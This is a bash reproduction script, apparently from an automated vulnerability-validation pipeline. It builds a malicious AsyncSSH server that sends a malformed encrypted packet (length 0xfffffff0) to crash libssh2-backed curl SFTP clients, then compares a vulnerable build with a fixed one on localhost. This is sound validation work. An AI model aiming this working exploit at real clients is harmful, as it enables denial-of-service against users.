#!/bin/bash
# Materialized from the latest_confirmed proof-carry reproduction script.
# This file is the current run's reproduction script; the source path is provenance.
set -euo pipefail
export PRUVA_ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_PROOF_CARRY_SOURCE='/data/pruva/project-cache/74f8a750-7647-4916-b031-ad3c29d96638/.pruva/proof-carry/latest_confirmed/repro/reproduction_steps.sh'
mkdir -p "$PRUVA_ROOT/logs" "$PRUVA_ROOT/logs/product" "$PRUVA_ROOT/repro" "$PRUVA_ROOT/artifacts"

# ---- BEGIN MATERIALIZED LATEST CONFIRMED PROOF SCRIPT ----
#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

MASTER_LOG="$LOGS/reproduction_steps.log"
: > "$MASTER_LOG"
exec > >(tee -a "$MASTER_LOG") 2>&1

CTX_FILE="$ROOT/project_cache_context.json"
if [ ! -f "$CTX_FILE" ]; then
  cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "unknown",
  "entrypoint_detail": null,
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "missing project_cache_context.json"
}
JSON
  exit 2
fi

PROJECT_CACHE_DIR="$(python3 - "$CTX_FILE" <<'PY'
import json,sys
ctx=json.load(open(sys.argv[1]))
print(ctx.get('project_cache_dir','') if ctx.get('prepared') is True else '')
PY
)"
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR/repo" ]; then
  cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "unknown",
  "entrypoint_detail": null,
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "prepared project cache unavailable"
}
JSON
  exit 2
fi

CACHE_ROOT="$PROJECT_CACHE_DIR"
REPO="$CACHE_ROOT/repo"

# Reference-only historical proof material for mechanics.
for ref in latest_attempt latest_confirmed; do
  if [ -f "$CACHE_ROOT/.pruva/proof-carry/$ref/proof_carry_manifest.json" ]; then
    cp "$CACHE_ROOT/.pruva/proof-carry/$ref/proof_carry_manifest.json" "$LOGS/reference.$ref.proof_carry_manifest.json" || true
  fi
done

find_first() {
  find "$1" -path "$2" -print 2>/dev/null | sort | head -n1
}

VULN_CURL="${CACHE_ROOT}/product-release-m32-v2/curl-vuln/src/curl"
FIXED_CURL="${CACHE_ROOT}/product-release-m32-v2/curl-fixed/src/curl"
if [ ! -x "$VULN_CURL" ]; then
  VULN_CURL="$(find_first "$CACHE_ROOT" '*/curl-vuln/src/curl')"
fi
if [ ! -x "$FIXED_CURL" ]; then
  FIXED_CURL="$(find_first "$CACHE_ROOT" '*/curl-fixed/src/curl')"
fi
VULN_LIBDIR="$(find_first "$CACHE_ROOT/product-release-m32-v2/libssh2-vuln-prefix" '*/libssh2.so*' | xargs -r dirname)"
FIXED_LIBDIR="$(find_first "$CACHE_ROOT/product-release-m32-v2/libssh2-fixed-prefix" '*/libssh2.so*' | xargs -r dirname)"
if [ -z "$VULN_LIBDIR" ]; then
  VULN_LIBDIR="$(find_first "$CACHE_ROOT" '*/libssh2.so*' | xargs -r dirname)"
fi
if [ -z "$FIXED_LIBDIR" ]; then
  FIXED_LIBDIR="$(find_first "$CACHE_ROOT" '*/libssh2.so*' | xargs -r dirname)"
fi

if [ -z "$VULN_CURL" ] || [ -z "$FIXED_CURL" ] || [ -z "$VULN_LIBDIR" ] || [ -z "$FIXED_LIBDIR" ]; then
  cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "unknown",
  "entrypoint_detail": null,
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "required prepared product artifacts not found"
}
JSON
  exit 2
fi

file "$VULN_CURL" "$FIXED_CURL" | tee "$LOGS/product-file-identification.log"
ldd "$VULN_CURL" | tee "$LOGS/curl-vulnerable-ldd.log"
ldd "$FIXED_CURL" | tee "$LOGS/curl-fixed-ldd.log"
readelf -d "$VULN_CURL" > "$LOGS/curl-vulnerable-readelf.log" 2>&1 || true
readelf -d "$FIXED_CURL" > "$LOGS/curl-fixed-readelf.log" 2>&1 || true
"$VULN_CURL" -V | tee "$LOGS/curl-vulnerable-version.log"
"$FIXED_CURL" -V | tee "$LOGS/curl-fixed-version.log"

if ! ldd "$VULN_CURL" | grep -F "$VULN_LIBDIR" >/dev/null; then
  echo "vulnerable curl does not load intended libssh2"
  exit 2
fi
if ! ldd "$FIXED_CURL" | grep -F "$FIXED_LIBDIR" >/dev/null; then
  echo "fixed curl does not load intended libssh2"
  exit 2
fi
if ! "$VULN_CURL" -V | grep -Eiq 'libssh2|sftp|scp'; then
  echo "vulnerable curl lacks SSH/SFTP support"
  exit 2
fi
if ! "$FIXED_CURL" -V | grep -Eiq 'libssh2|sftp|scp'; then
  echo "fixed curl lacks SSH/SFTP support"
  exit 2
fi

if ! python3 - <<'PY' >/dev/null 2>&1
import asyncssh
PY
then
  python3 -m pip install --user --quiet asyncssh==2.14.2 > "$LOGS/peer-pip-install.log" 2>&1
fi

PEER_PY="$REPRO_DIR/malicious_asyncssh_peer.py"
cat > "$PEER_PY" <<'PY'
#!/usr/bin/env python3
import argparse
import asyncio
import asyncssh
import base64
import hashlib
from asyncssh.packet import UInt32

p = argparse.ArgumentParser()
p.add_argument('--port', type=int, required=True)
p.add_argument('--ready-file', required=True)
p.add_argument('--log', required=True)
p.add_argument('--fingerprint-file', required=True)
a = p.parse_args()

logf = open(a.log, 'w', buffering=1, encoding='utf-8')
def note(m):
    print(m, file=logf, flush=True)

host_key = asyncssh.generate_private_key('ssh-rsa')
pub = host_key.export_public_key().decode().strip()
blob = base64.b64decode(pub.split()[1])
fp = base64.b64encode(hashlib.sha256(blob).digest()).decode()
with open(a.fingerprint_file, 'w', encoding='utf-8') as f:
    f.write(fp + '\n')

class Sess(asyncssh.SSHServerSession):
    def __init__(self, srv):
        self.srv = srv
    def connection_made(self, chan):
        note('session channel made')
    def subsystem_requested(self, subsystem):
        note(f"subsystem_requested subsystem={subsystem!r}")
        return subsystem == 'sftp'
    def session_started(self):
        note('session_started; SFTP subsystem accepted; scheduling malformed encrypted packet')
        asyncio.create_task(self.srv.inject())
    def data_received(self, data, datatype):
        note(f"data_received len={len(data)} first_bytes={data[:20]!r}")
    def connection_lost(self, exc):
        note(f"session connection_lost exc={exc!r}")

class Server(asyncssh.SSHServer):
    def __init__(self):
        self.conn = None
        self.injected = False
    def connection_made(self, conn):
        self.conn = conn
        note(f"accepted TCP client peer={conn.get_extra_info('peername')!r}")
    def begin_auth(self, username):
        note(f"begin_auth username={username!r}")
        return True
    def password_auth_supported(self):
        note('password_auth_supported')
        return True
    def validate_password(self, username, password):
        note(f"validate_password username={username!r} password={password!r}")
        return True
    def auth_completed(self):
        note('auth_completed')
    def session_requested(self):
        note('session_requested accepted')
        return Sess(self)
    async def inject(self):
        if self.injected:
            return
        self.injected = True
        conn = self.conn
        for _ in range(300):
            if getattr(conn, '_send_encryption', None) is not None:
                break
            await asyncio.sleep(0.02)
        seq = getattr(conn, '_send_seq', 0)
        enc = getattr(conn, '_send_encryption', None)
        note(f"injecting packet reason=after-sftp-subsystem seq={seq} encryption={type(enc).__name__}")
        clear_packet_length = 0xfffffff0
        clear_header = UInt32(clear_packet_length)
        clear_body = b'\x04' + (b'P' * 31)
        packet, mac = enc.encrypt_packet(seq, clear_header, clear_body)
        conn._send(packet + mac)
        conn._send_seq = (seq + 1) & 0xffffffff
        note(f"sent encrypted malformed packet seq={seq} clear_packet_length=0x{clear_packet_length:08x} body_len={len(clear_body)} wire_len={len(packet)+len(mac)}")
        await asyncio.sleep(2.0)
        try:
            conn.abort()
            note('aborted connection after injection window')
        except Exception as exc:
            note(f'abort failed: {exc!r}')
    def connection_lost(self, exc):
        note(f"server connection_lost exc={exc!r}")

async def main():
    server = await asyncssh.create_server(
        Server,
        '127.0.0.1',
        a.port,
        server_host_keys=[host_key],
        encryption_algs=['chacha20-poly1305@openssh.com'],
        kex_algs=['curve25519-sha256'],
        compression_algs=['none'],
        password_auth=True,
        public_key_auth=False,
        allow_scp=False,
    )
    note(f"malicious SSH server listening on 127.0.0.1:{a.port}")
    with open(a.ready_file, 'w', encoding='utf-8') as f:
        f.write('ready\n')
    await asyncio.sleep(30)
    server.close()
    await server.wait_closed()

asyncio.run(main())
PY
chmod +x "$PEER_PY"

free_port() {
  python3 - <<'PY'
import socket
s = socket.socket()
s.bind(('127.0.0.1', 0))
print(s.getsockname()[1])
s.close()
PY
}

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
PROOF_ARTIFACTS=("logs/reproduction_steps.log" "logs/product-file-identification.log" "logs/curl-vulnerable-ldd.log" "logs/curl-fixed-ldd.log" "logs/curl-vulnerable-readelf.log" "logs/curl-fixed-readelf.log" "logs/curl-vulnerable-version.log" "logs/curl-fixed-version.log")

run_attempt() {
  local name="$1" curl_bin="$2" libdir="$3"
  local port ready_file srvlog clilog ldlog rcfile crashfile reachedfile fpfile pid rc
  port="$(free_port)"
  ready_file="$REPRO_DIR/$name.ready"
  srvlog="$LOGS/$name.server.log"
  clilog="$LOGS/$name.client.log"
  ldlog="$LOGS/$name.loader.log"
  rcfile="$REPRO_DIR/$name.exitcode"
  crashfile="$REPRO_DIR/$name.crash"
  reachedfile="$REPRO_DIR/$name.reached"
  fpfile="$REPRO_DIR/$name.hostpubsha256"
  rm -f "$ready_file" "$srvlog" "$clilog" "$ldlog" "$rcfile" "$crashfile" "$reachedfile" "$fpfile"

  python3 "$PEER_PY" --port "$port" --ready-file "$ready_file" --log "$srvlog" --fingerprint-file "$fpfile" &
  pid=$!
  for _ in $(seq 1 150); do
    if [ -s "$ready_file" ] && [ -s "$fpfile" ]; then
      break
    fi
    if ! kill -0 "$pid" 2>/dev/null; then
      break
    fi
    sleep 0.1
  done
  if [ ! -s "$ready_file" ] || [ ! -s "$fpfile" ]; then
    cat "$srvlog" || true
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    echo "peer not ready for $name"
    return 1
  fi

  SERVICE_STARTED=true
  local hostfp
  hostfp="$(cat "$fpfile")"

  set +e
  LD_LIBRARY_PATH="$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" LD_DEBUG=libs timeout --preserve-status 20 "$curl_bin" -v --connect-timeout 5 --max-time 12 --user 'user:pass' --hostpubsha256 "$hostfp" "sftp://127.0.0.1:$port/probe.txt" > "$clilog" 2> "$ldlog"
  rc=$?
  set -e
  printf '%s\n' "$rc" > "$rcfile"

  sleep 0.5
  if grep -q 'accepted TCP client' "$srvlog"; then
    HEALTHCHECK_PASSED=true
  fi
  if grep -q 'sent encrypted malformed packet' "$srvlog"; then
    TARGET_PATH_REACHED=true
    echo true > "$reachedfile"
  else
    echo false > "$reachedfile"
  fi
  if [ "$rc" = "139" ] || [ "$rc" = "134" ] || [ "$rc" = "135" ] || [ "$rc" = "136" ] || [ "$rc" = "132" ]; then
    echo true > "$crashfile"
  else
    echo false > "$crashfile"
  fi

  {
    echo "name=$name"
    echo "curl_bin=$curl_bin"
    echo "libdir=$libdir"
    echo "exit_code=$rc"
    echo "server_log=$srvlog"
    echo "client_log=$clilog"
    echo "loader_log=$ldlog"
  } > "$LOGS/$name.summary"
  PROOF_ARTIFACTS+=("logs/$name.server.log" "logs/$name.client.log" "logs/$name.loader.log" "$name.exitcode" "$name.crash" "$name.reached" "$name.hostpubsha256" "$name.summary")

  tail -n 40 "$clilog" || true
  tail -n 40 "$srvlog" || true

  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true
}

printf '%s\n' "$VULN_CURL" > "$LOGS/product/vuln_curl_resolved.txt"
printf '%s\n' "$FIXED_CURL" > "$LOGS/product/fixed_curl_resolved.txt"
printf '%s\n' "$VULN_LIBDIR" > "$LOGS/product/vuln_libdir_resolved.txt"
printf '%s\n' "$FIXED_LIBDIR" > "$LOGS/product/fixed_libdir_resolved.txt"

run_attempt "curl-vulnerable-run1" "$VULN_CURL" "$VULN_LIBDIR"
run_attempt "curl-vulnerable-run2" "$VULN_CURL" "$VULN_LIBDIR"
run_attempt "curl-fixed-run1" "$FIXED_CURL" "$FIXED_LIBDIR"
run_attempt "curl-fixed-run2" "$FIXED_CURL" "$FIXED_LIBDIR"

vuln_native=0
for n in curl-vulnerable-run1 curl-vulnerable-run2; do
  rc="$(cat "$REPRO_DIR/$n.exitcode")"
  if [ "$rc" = "139" ] || [ "$rc" = "134" ]; then
    vuln_native=$((vuln_native + 1))
  fi
done
fixed_bad=0
for n in curl-fixed-run1 curl-fixed-run2; do
  rc="$(cat "$REPRO_DIR/$n.exitcode")"
  if [ "$rc" = "139" ] || [ "$rc" = "134" ]; then
    fixed_bad=$((fixed_bad + 1))
  fi
done

{
  echo 'selected_packet_length=0xfffffff0'
  echo "vulnerable_native_signals=$vuln_native"
  echo "fixed_native_signals=$fixed_bad"
  echo "vulnerable_run1_rc=$(cat "$REPRO_DIR/curl-vulnerable-run1.exitcode")"
  echo "vulnerable_run2_rc=$(cat "$REPRO_DIR/curl-vulnerable-run2.exitcode")"
  echo "fixed_run1_rc=$(cat "$REPRO_DIR/curl-fixed-run1.exitcode")"
  echo "fixed_run2_rc=$(cat "$REPRO_DIR/curl-fixed-run2.exitcode")"
} | tee "$LOGS/product-verdict.log"

PROOF_JSON='['
for item in "${PROOF_ARTIFACTS[@]}"; do
  if [ "$PROOF_JSON" = '[' ]; then
    PROOF_JSON="$PROOF_JSON\"$item\""
  else
    PROOF_JSON="$PROOF_JSON,\"$item\""
  fi
done
PROOF_JSON="$PROOF_JSON]"

if [ "$vuln_native" -eq 2 ] && [ "$fixed_bad" -eq 0 ] && [ "$SERVICE_STARTED" = true ] && [ "$HEALTHCHECK_PASSED" = true ] && [ "$TARGET_PATH_REACHED" = true ]; then
  cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "real curl CLI SFTP/SSH over localhost TCP to AsyncSSH peer; encrypted malformed packet_length=0xfffffff0 after SSH key exchange and SFTP subsystem setup",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["curl", "libssh2", "asyncssh"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/product-file-identification.log",
    "logs/curl-vulnerable-ldd.log",
    "logs/curl-fixed-ldd.log",
    "logs/curl-vulnerable-readelf.log",
    "logs/curl-fixed-readelf.log",
    "logs/curl-vulnerable-version.log",
    "logs/curl-fixed-version.log",
    "logs/curl-vulnerable-run1.server.log",
    "logs/curl-vulnerable-run1.client.log",
    "logs/curl-vulnerable-run1.loader.log",
    "logs/curl-vulnerable-run2.server.log",
    "logs/curl-vulnerable-run2.client.log",
    "logs/curl-vulnerable-run2.loader.log",
    "logs/curl-fixed-run1.server.log",
    "logs/curl-fixed-run1.client.log",
    "logs/curl-fixed-run1.loader.log",
    "logs/curl-fixed-run2.server.log",
    "logs/curl-fixed-run2.client.log",
    "logs/curl-fixed-run2.loader.log",
    "logs/product-verdict.log"
  ],
  "notes": "confirmed product-mode tcp_peer repro"
}
JSON

  if [ -f "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/proof_carry_manifest.json" ] || [ -d "$CACHE_ROOT/.pruva/proof-carry/latest_attempt" ]; then
    mkdir -p "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/logs" || true
    cp "$0" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro/reproduction_steps.sh" 2>/dev/null || true
    cp "$REPRO_DIR/runtime_manifest.json" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro/runtime_manifest.json" 2>/dev/null || true
    cp "$REPRO_DIR/validation_verdict.json" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro/validation_verdict.json" 2>/dev/null || true
    cp "$REPRO_DIR/rca_report.md" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro/rca_report.md" 2>/dev/null || true
    cp "$REPRO_DIR/product_proof.md" "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/repro/product_proof.md" 2>/dev/null || true
    cp "$LOGS"/*.log "$CACHE_ROOT/.pruva/proof-carry/latest_attempt/logs/" 2>/dev/null || true
  fi
  exit 0
fi

cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "real curl CLI SFTP/SSH over localhost TCP to AsyncSSH peer; malformed packet attempted but proof incomplete",
  "service_started": ${SERVICE_STARTED},
  "healthcheck_passed": ${HEALTHCHECK_PASSED},
  "target_path_reached": ${TARGET_PATH_REACHED},
  "runtime_stack": ["curl", "libssh2", "asyncssh"],
  "proof_artifacts": ${PROOF_JSON},
  "notes": "inconclusive or partially reproduced; see logs"
}
JSON
exit 1

